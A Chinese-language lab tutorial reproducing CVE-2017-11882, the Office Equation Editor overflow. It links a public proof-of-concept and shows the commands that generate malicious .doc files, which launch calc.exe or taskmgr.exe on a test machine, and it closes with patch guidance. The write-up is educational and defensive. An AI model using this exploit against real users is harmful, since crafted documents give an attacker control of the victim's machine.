漏洞介绍
2017年11月14号,微软推送了常规的安全更新,其中,关于CVE-2017-11882的安全更新引起了圈里的关注,随之而来的,便是针对此漏洞的POC攻击代码被逐渐公开。各路大神在Twitter和Github上相继公布自己的POC及对应的漏洞利用姿势,将这股烈火蔓延到2018年。
为什么这个漏洞会引起这么大的关注度呢?
从漏洞利用效果来看,它可以通杀Office 2003到2016的所有版本,并且整个攻击环境的构建非常简单,姿势又非常“优雅”。例如,有些攻击效果会出现弹框,会出现CPU飙高,会发生异常等等,而这个漏洞的利用效果,堪称“无色无味”。在后续实验过程中,大家可以自行体会。
更重要的是,这枚“通杀型”的Office高危漏洞,其实已经潜伏了17年之久,直到近几个月才被发现并低调修复……
那么,这个漏洞是怎么回事呢?简单来说:
此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行。
举个例子,如果黑客利用这个漏洞,构造带有shell后门的office文件,当普通用户打开这个office文件,则电脑可以被黑客直接控制。
影响版本
office 2003 office 2007 office 2010 office 2013 office 2016
漏洞复现环境
渗透机:Kali Linux + POC代码 靶机:Win7 + Office 2016
复现环境
①下载office 2016
直接上http://msdn.itellyou.cn下载office 2016
种子链接:ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/
②安装office 2016
在Win7靶机中,安装office 2016套件,这里需要一些时间,大家也可以用其他windows和office版本来测试。
③下载POC代码
Github上有很多大神分享针对这个漏洞的POC代码,但测试过程中,发现有些验证效果不出来,有些验证过程太复杂。
https://github.com/Ridter/CVE-2017-11882
④进入shell终端,使用POC代码生成特殊改造的word文件
进入POC代码目录
root@kali:~/Desktop# cd CVE-2017-11882
查看文件
root@kali:~/Desktop/CVE-2017-11882# ls
生成word文档11882.doc,打开doc文件之后,会弹出计算器(以此验证offce漏洞)
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
生成word文档11882.doc,打开doc文件之后,会弹出任务管理器(以此验证offce漏洞)
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o otest-2.doc
再次查看,可以看到多了两个doc文件
root@kali:~/Desktop/CVE-2017-11882# ls
⑤将文件拷贝到Win7靶机上,并验证效果
使用Word 2016打开test.doc文件,查看效果:
可以看到,由于Office2016存在CVE-2017-11882漏洞,当打开特殊构造的word文件时,windows会执行其他动作。
防御方法:
目前微软公司已经发布了安全补丁下载微软对此漏洞补丁:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
大家可以安装补丁修复该漏洞并开启自动更新功能,另外大部分杀软已经采取了防御措施,经测试部分杀软直接把 mshta、rundll32、powershell 执行的命令都会做相关拦截,并提示给用户这是可疑操作。
请登录后查看评论内容